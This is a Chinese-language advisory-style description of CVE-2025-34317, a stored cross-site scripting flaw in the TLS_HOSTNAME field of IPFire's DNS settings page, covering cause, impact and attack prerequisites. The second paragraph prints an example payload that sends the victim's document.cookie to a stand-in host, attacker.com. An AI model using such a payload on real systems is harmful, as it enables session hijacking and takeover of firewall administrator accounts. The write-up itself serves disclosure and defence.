CVE-2025-34317IPFire是一款开源的Linux防火墙发行版,广泛应用于企业网络边界防护场景。CVE-2025-34317是IPFire中一个严重的安全漏洞,存在于2.29版本之前(Core Update 198)的DNS配置功能中。该漏洞属于存储型跨站脚本(Stored XSS)类型,允许经过身份验证的低权限攻击者通过DNS设置页面的TLS_HOSTNAME参数注入任意JavaScript代码。由于注入的恶意脚本会被永久存储在系统数据库中,当其他管理员访问DNS配置页面时,恶意代码将自动执行,可能导致会话劫持、敏感信息窃取、管理员账户接管等严重后果。攻击者只需具备基本的用户账户权限即可实施攻击,但需要诱导其他管理员访问受感染的页面才能触发payload。此漏洞的存在严重威胁到IPFire防火墙的管理界面安全性,攻击者可能借此进一步渗透内网环境。
该漏洞的根本原因在于IPFire的Web管理界面在处理DNS配置时未对用户输入进行充分的输入验证和输出编码。当管理员通过HTTP POST请求向/cgi-bin/dns.cgi端点提交DNS条目时,TLS_HOSTNAME参数的值被直接存储到后端数据库,而没有经过任何消毒处理。随后,当管理员访问DNS配置页面查看已保存的DNS条目时,这些未经过滤的数据被直接渲染到HTML页面中,导致嵌入其中的恶意JavaScript代码得以执行。攻击者可以利用此漏洞注入如下payload:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于该脚本被存储在服务器端,所有访问该DNS配置页面的用户都会成为受害者,攻击者可借此窃取会话令牌、伪造管理员操作或进一步探测内网环境。此漏洞的利用需要攻击者具备有效的用户凭证(低权限即可),并且需要诱使目标管理员访问受感染的页面(用户交互要求)。